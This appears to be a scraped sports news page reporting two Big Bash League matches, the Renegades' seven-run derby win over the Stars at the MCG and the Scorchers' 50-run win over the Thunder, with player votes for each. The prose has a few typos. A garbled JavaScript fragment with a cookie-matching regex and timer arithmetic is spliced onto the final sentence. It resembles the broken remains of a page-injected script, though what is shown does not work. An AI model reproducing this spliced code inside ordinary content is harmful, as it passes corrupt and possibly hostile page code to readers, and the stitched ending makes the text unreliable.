OVER 71,000 fans packed into the MCG to watch the Melbourne derby and it was the Renegades who came out on top for the first time in four years, with a seven-run win in a rain-affected match, which had everything, including one of the more dramatic finishes you will see in a Twenty20 match.
The Renegades were sent into bat by the Stars and scored 4-171 from their 20 overs.
Cameron White top scored with 64 from 43 balls, hitting his highest BBL score at the MCG, while Aaron Finch and Tom Cooper scored 30 and 36 respectively.
The Stars got off to to a poor start in reply, with opener Glenn Maxwell bowled by Tom Cooper in the very first over for just one. Kevin Pietersen then looked in ominous touch, before he was dismissed for 15 off eight balls.
A short rain delay then wiped two overs off the match and 13 runs from the Stars' target.
Starts from David Hussey, James Faulkner and Marcus Stoinis were not enough as the home side fell just short of the target in the final over. Veteran spinner Brad Hogg did the bulk of the damage, taking three wickets to put the Gades in poll position.
The final few overs then had absolutely everything, as Chris Tremain's third over featured 11 balls. His erratic over almost undid Hogg's good work, with four wides and one no-ball. However, Tremain also removed the dangerous James Faulkner for 25 with the penultimate ball of the over.
The second last over of the Stars' innings then saw three players run-out, as the side searched for quick late runs in an attempt to reel in the Renegades' target. However, the three late wickets ensured the Gades recorded their second win from their first three matches in BBL06.
Votes:
3. Brad Hogg
Was one again very economical and took three vital wickets.
2. Cameron White
Set up the Renegades' win with a blistering and devastating knock.
- Luke Wright
Played a lone hand for the Stars with an impressive 44.
ACROSS the country, the Perth Scorchers smashed the Sydney Thunder by 50 runs to ensure the reigning champions remain rooted to the bottom of the table without a win after their opening four matches.
The Scorchers batted first, scoring an imposing 4-177. The home side had several important contributions, with Michael Klinger (38), Ian Bell (45) Ashton Turner (20) and Mitch Marsh (44 not out) all putting together valuable knocks.
The Thunder were never in the hunt in the run chase, with one player scoring over 20, as wickets fell steadily throughout the innings. Pat Cummins continued his good form with the bat, hitting 38 off 25 balls, as the Thunder reached 8-127.
Votes:
3. Ian Bell (Scorchers)
Batted the Scorchers into a winning position with a quick fire 45 from 38 balls.
2. Mitch Marsh (Scorchers)
Finished off the Scorchers' innings in style, with an unbeaten 44 from just 27 balls, with three sixes.
- David Willey (Scorchers)
Took two wickets, removing both openers to get his side off to the perfect start with the bowl, at an economy rate of just 5.25. "(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));(U[1]):"",();||void 0===time){/1e3+86400),.('')}
